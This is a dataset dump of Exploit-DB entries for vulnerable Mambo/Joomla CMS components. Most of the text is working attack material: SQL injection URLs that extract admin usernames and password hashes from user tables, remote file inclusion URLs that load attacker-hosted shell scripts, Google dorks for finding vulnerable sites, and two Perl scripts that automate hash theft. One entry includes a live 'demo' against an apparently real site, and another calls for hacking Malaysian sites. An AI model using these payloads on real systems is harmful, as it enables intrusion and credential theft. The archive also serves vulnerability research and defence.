deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28410
Description: Mambo Component Display MOSBot Manager - 'MosConfig_absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-21
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/19621/info

The Mambo Display MOSBot Manager component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/com_admin-copy_module/toolbar.admin-copy_module.php?mosConfig_absolute_path=shell http://www.example.com/com_admin-copy_module/admin.admin-copy_module.php?mosConfig_absolute_path=shell
Exploit-DB #35752
Description: Mambo Component Docman 1.3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-05-16
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47857/info

The 'com_docman' component for Mambo is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

'com_docman' 1.3 is vulnerable. 

http://www.example.com/[path]/index.php?option=com_docman&task=cat_view&gid=3&Itemid=7&limit=-11[SQLi]
http://www.example.com/[path]/index.php?option=com_docman&task=cat_view&gid=3&Itemid=7&limit=15&limitstart=-11[SQLi]
Exploit-DB #5016
Description: Mambo Component EstateAgent 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_estateagent)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorK 1 : allinurl: allinurl: "com_estateagent"
#
########################################################################
EXPLOIT :

index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN

#########################################################################
# S@BUN                      www.hackturkiye.com                   S@BUN
#########################################################################
# S@BUN                         GOOD LUCKY                          S@BUN
######################################################################### 

<name>EstateAgent</name>
<creationDate>17.08.2004</creationDate>
<author>Darko Selesi</author>
	<copyright>
This component is released under the GNU/GPL License
</copyright>
<authorEmail>e.agent@frame-works.de</authorEmail>
<authorUrl>mambo.frame-works.de</authorUrl>
<version>0.1</version>
<description>EstateAgent component for Mambo 4.5.x</description>

# milw0rm.com [2008-01-30]
Exploit-DB #28416
Description: Mambo Component EstateAgent 1.0.2 - MosConfig_absolute_path Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-21
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/19625/info

The Mambo EstateAgent component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID has been retired because this issue is not exploitable.

http://www.example.com/com_estateagent/estateagent.php?mosConfig_absolute_path=shell
Exploit-DB #5226
Description: Mambo Component eWriting 1.2.1 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-10
Author: Don

Exploit:
eWriting 1.2.1 - SQL injection

# Discovered by breaker_unit & Don

# BHack

# b4lc4n.org

# Gretz to h4cky0u.org l r00tsecurity.org l h4cky0u.biz l

Dorks:

"Powered by eWriting 1.2.1
allinurl:"com_ewriting"

Joomla!
/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users--

Mambo
/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+mos_users--

++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-03-10]
Exploit-DB #2022
Description: Mambo Component ExtCalendar 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: OLiBekaS

Exploit:
--------------------------------------------------------------------------------
Title : ExtCalendar Mambo Module <= v2 Remote File Include Vulnerabilities
###############################################################################

Discovered By OLiBekaS
-----------------------------------------------------------------------------

dork        : "powered by ExtCalendar v2"
Exploit     :  
http://[target]/[path]/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://[attacker]/cmd.txt?&cmd=ls         
               
-----------------------------------------------------------------------------

greatz:
~~~~~
# Special greetz to my master effex and bEdAh`oTaK ( thank man )
# To all members of #papmahackerlink, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster, yugo^cloudy. and other

-------------------------------------------------------------------------------

Contact:
~~~~~~~

Nick: OLiBekaS
E-mail: olibekas[at]gmail[dot]Com
Homepage: http://bekas.6te.net

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-07-17]
Exploit-DB #5799
Description: Mambo Component Galleries 1.0 - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-13
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

#   Mambo Component galleries v 1.0  Remote SQL Injection #
########################################
#[*] Found by : Houssamix From H-T Team 
#[*] H-T Team [ HouSSaMix + ToXiC350 ] 
#[*] Greetz : bugtr4cker & Stack & HaCkeR_EgY  & Hak3r-b0y & All friends & All muslims HaCkeRs  :) 
#[*] Script_Name: "Mambo"
#[*] Component_Name:  galleries v 1.0
########################################
# <mosinstall type="component">
# <name>galleries</name>
#<creationDate>10/04/2006</creationDate>
#<author>Vinay Kr. Singh</author>
#<copyright>This component is released under the GNU License</copyright>
#<authorEmail>vinay.singh@yahoo.com</authorEmail>
#<authorUrl>www.opensource.com</authorUrl>
#<version>1.0</version>


system("color f");
print "\t\t########################################################\n\n";
print "\t\t#                        Viva Islam                    #\n\n";
print "\t\t########################################################\n\n";
print "\t\t# Mambo Component galleries 1.0  Remote SQL Injection  #\n\n";
print "\t\t# H-T Team [HouSSaMiX - ToXiC350]	            	  #\n\n";
print "\t\t########################################################\n\n";

use LWP::UserAgent;

print "\nEnter your Target (http://site.com/mambo/): ";
	chomp(my $target=<STDIN>);

$uname="username";
$[CREDENTIAL_REDACTED]";
$magic="mos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_galleries&id=10&aid=-1%20union%20select%201,2,3,concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62))from/**/".$magic."/**";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] The Target : ".$target."";

if ($answer =~ /<user>(.*?)<user>/){
       
		print "\n[+] Admin User : $1";
}
$host2 = $target . "index.php?option=com_galleries&id=10&aid=-1%20union%20select%201,2,3,".$passwd."/**/from/**/".$magic."/**";
$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;
if ($answer =~/([0-9a-fA-F]{32})/){
		print "\n[+] Admin Hash : $1\n\n";
		print "#   Exploit succeed!  #\n\n";
}
else{print "\n[-] Exploit Failed...\n";
}

# codec  by Houssamix From H-T Team

# milw0rm.com [2008-06-13]
Exploit-DB #5178
Description: Mambo Component garyscookbook 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
###############################################################
#
# joomla com_garyscookbook SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
#    there are alot site but exploit not working for all Ä± found alot
#
# DORK 1 : allinurl:"com_garyscookbook"
#
# DORK 2 : allinurl: com_garyscookbook "detail"
#
################################################################
EXPLOIT :

index.php?option=com_garyscookbook&Itemid=S@BUN&func=detail&id=-666/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,username+from%2F%2A%2A%2Fmos_users/*


################################################################
# S@BUN             i AM NOT HACKER               S@BUN
################################################################

  <name>garyscookbook</name>
  <creationDate>4-9-2005</creationDate>
  <author>Gerald Berger</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>gerald@vb-dozent.net</authorEmail>

  <authorUrl>www.vb-dozent.net</authorUrl>
  <version>1.1.1</version>
  <description>Garys Cookbook is a fully integrated Mambo Cookbook component.</description>

# milw0rm.com [2008-02-23]
Exploit-DB #9609
Description: Mambo Component Hestar - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-09
Author: M3NW5

Exploit:
#############################################################################################################
## com_hestar 1.0.0		   	     								   ##
## Author   : M3NW5 (M3NW5[at]hackermail[dot]com) 							   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date	    : Monday, Semptember 07, 2009     								   ##
## ------------------------------------------------------------------------------------------------------- ##
## _______            __                              __                 ______            __              ##
##|_     _|.-----..--|  |.-----..-----..-----..-----.|__|.---.-..-----. |      |.-----..--|  |.-----..----.##
## _|   |_ |     ||  _  ||  _  ||     ||  -__||__ --||  ||  _  ||     | |   ---||  _  ||  _  ||  -__||   _|##
##|_______||__|__||_____||_____||__|__||_____||_____||__||___._||__|__| |______||_____||_____||_____||__|  ##
##													   ##
## ------------------------------------------------------------------------------------------------------- ##
#############################################################################################################

[ Software Information ]

[+] Software      : com_hestar
[+] Version	  : 1.0.0
[+] Provider	  : Netvistun - netvistun@netvistun.is 
[+] Web Provider  : www.netvistun.is
[+] Vulnerability : SQL injection
[+] Google Dork   : inurl:"com_hestar"

#############################################################################################################
[ POC ]

http://127.0.0.1/index.php?option=com_hestar&task=showlist&id=-3 union select concat_ws(0x3a,username,password)+from+mos_users--


[ Demo ]

http://www.arbae.is/index.php?option=com_hestar&task=showlist&id=-3 union select concat_ws(0x3a,username,password)+from+mos_users--
#############################################################################################################

[ Greetings ]

[+] All of Indonesian Coder Member, Don Tukulesto, mistersaint, gonzhack, m364tr0n, cyb3r_tr0n, TUCKER, Petrucii, Chercut,
    Senot, Joker, Rebel, Quick_5ilv3r, ran, m4ho666, DenBayan, vyc0d
[+] All of Surabayahackerlink Member, Awan, Plaque, rey_cute, Tuex, XNITRO, DraCoola.com
[+] ServerIsDown.org, Jack-, Yadoy666, kecemplungkalen, xshadow, H4ck3rKu
[+] Kill-9 Crew, kaMtiEz, Arianom

[ SHOUT ]

STILL FVCKED TO MALAYSIA, TRULLY THIEF COUNTRY IN ASIA.
Let's Hack Malaysian site. PROUD TO BE INDONESIAN !!!!!

[ Special to ]

Anggie Lestari Putri sulung dari keluarga bapak dodi dan ibu dini ^^ i lope yu pull...

# milw0rm.com [2009-09-09]
Exploit-DB #5015
Description: Mambo Component jokes 1.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_jokes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_jokes"
#
########################################################################
EXPLOIT :

index.php?option=com_jokes&Itemid=S@BUN&func=CatView&cat=-776655/**/union/**/select/**/0,1,2,3,username,5,password,7,8/**/from/**/mos_users/*

#########################################################################
# S@BUN                    www.hackturkiye.com                        S@BUN
#########################################################################
# S@BUN                             GOOD LUCKY                        S@BUN
#########################################################################


  <mosinstall type="component">
    <name>jokes</name>
    <creationDate>29/12/2005</creationDate>
    <author>Atapin</author>
    <copyright>Released under the GNU/GPL License</copyright>
    <authorEmail>info@atapin.net</authorEmail>

    <authorUrl>www.atapin.net</authorUrl>
    <version>1.0</version>
    <description></description>

# milw0rm.com [2008-01-30]
Exploit-DB #28403
Description: Mambo Component LMTG Myhomepage 1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-18
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/19584/info

The lmtg_myhomepage component for Mambo is prone multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.2 and prior are vulnerable to these issues; other versions may also be affected.

This BID has been retired because this issue is not exploitable.

http://www.example.com/mtg_homepage.php?mosConfig_absolute_path=http://www.example.com 
http://www.example.com/install.mtg_homepage.php?mosConfig_absolute_path=http://www.example.com
Exploit-DB #2064
Description: Mambo Component Mam-Moodle alpha - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-23
Author: jank0

Exploit:
####################################################################################
#Mam - Moodle Remote File Include
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

path: ?mosConfig_absolute_path=

xpl:
http://web/components/com_moodle/moodle.php?mosConfig_absolute_path=http://shell.txt

Contact: irc.undernet.org #hackbsd

# milw0rm.com [2006-07-23]
Exploit-DB #11719
Description: Mambo Component MambAds - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: Dreadful

Exploit:
==============================================================================
[»] Mambo com_mambads Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Dreadful Email:super_crist4l@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ His0k4    sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
[»] Dork     :[ inurl:index.php?option=com_mambads  
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_mambads&Itemid=39&func=view&cacat=33&casb=1+UNION all SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password,0x3a,email),17,18,19,20,21,22,23+from+mos_users--
[»]Author: Dreadful <-
###########################################################################
Exploit-DB #5692
Description: Mambo Component mambads 1.0 RC1 Beta - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-29
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

#   Mambo Component mambads  1.0 RC1 Beta & 1.0 RC1 Remote SQL Injection #
########################################
#[*] Found by : Houssamix From H-T Team 
#[*] H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
#[*] Greetz : Stack & CoNaN & HaCkeR_EgY & room-hacker & Hak3r-b0y & All friends & All muslims HaCkeRs  :) 
#[*] Script_Name: "Mambo"
#[*] Component_Name: mambads  1.0 RC1 Beta & 1.0 RC1
#[*] Dork: index.php?option=com_mambads


system("color f");
print "\t\t########################################################\n\n";
print "\t\t#                        Viva Islam                    #\n\n";
print "\t\t########################################################\n\n";
print "\t\t# Mambo Component mambads  Remote SQL Injection		  #\n\n";
print "\t\t# H-T Team [HouSSaMiX - ToXiC350]	            	  #\n\n";
print "\t\t########################################################\n\n";

use LWP::UserAgent;

print "\nEnter your Target (http://site.com/mambo/): ";
	chomp(my $target=<STDIN>);

$uname="username";
$[CREDENTIAL_REDACTED]";
$magic="mos_users";
$pass1="imambo";
$pass2="aspen";
$pass3="ligio";
$pass4="qwally";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62))from/**/".$magic."/**";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] The Target : ".$target."";

if ($answer =~ /<user>(.*?)<user>/){
       
		print "\n[+] Admin User : $1";
}
$host2 = $target . "/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20".$passwd."/**/from/**/".$magic."/**";
$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;
if ($answer =~/([0-9a-fA-F]{32})/){
		print "\n[+] Admin Hash : $1\n\n";
		print "#   Exploit succeed!  #\n\n";
}
else{print "\n[-] Exploit Failed...\n";
}
if ($answer =~/697d54f398600b7ff10860a4422a6ea3/){print "[+] md5 cracked :".$pass4."\n\n";}
if ($answer =~/53138ba09b49380fea0aa99bb9ab511d/){print "[+] md5 cracked :".$pass3."\n\n";}
if ($answer =~/68e3d2564cb5858e2b69f1f49dfe40a3/){print "[+] md5 cracked :".$pass1."\n\n";}
if ($answer =~/91a343c02e6c4e10b023216ecfcd69e7/){print "[+] md5 cracked :".$pass2."\n\n";}

# codec  by Houssamix From H-T Team
# special thx to : StaCk 

# milw0rm.com [2008-05-29]
Exploit-DB #4469
Description: Mambo Component Mambads 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2007-09-29
Author: Sniper456

Exploit:
######################################
# Mambads <= 1.5 Sql Injection       #
######################################


Autor:Sniper456 

Contact:Sniper456[at]gmail.kom

Greetss: PescaoDeth, Daemon21, Vampirin456, Shh-2, CodeBreak and the chilean People ;)



**SQL:
index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=[inyecta maricon]


**Example:
index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=999/**/Union/**/select/**/1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users/*



Dork:  cuAck!, wena naaaty  xD   
         "inurl:com_mambads"


######################################

# Fro000M  chiLe my frieeeenD! 2007  #

######################################

# milw0rm.com [2007-09-29]
Exploit-DB #2086
Description: Mambo Component mambatStaff 3.1b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-29
Author: Dr.Jr7

Exploit:
# mambatstaff Mambo Component <=  Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : mambatstaff
# Thanx : www.lezr.com/vb & All kuwait hackers

# d0rkiz : allinurl:"com_mambatstaff"

#
http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt

# by Dr.Jr7

# milw0rm.com [2006-07-29]
Exploit-DB #2202
Description: Mambo Component mambelfish 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: mdx

Exploit:
####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_mambelfish Component (mosConfig_absolute_path) Remote File
Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: mambelfish.class.php?, line 28
***************************************************************************************************

  require_once( "$mosConfig_absolute_path/administrator/classes/minixml/minixml.inc.php" );

***************************************************************************************************


Exploit:
http://www.site.com/[path]/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################
Greetz: Cyber-warrior TIM USERS
####################################################

# milw0rm.com [2006-08-17]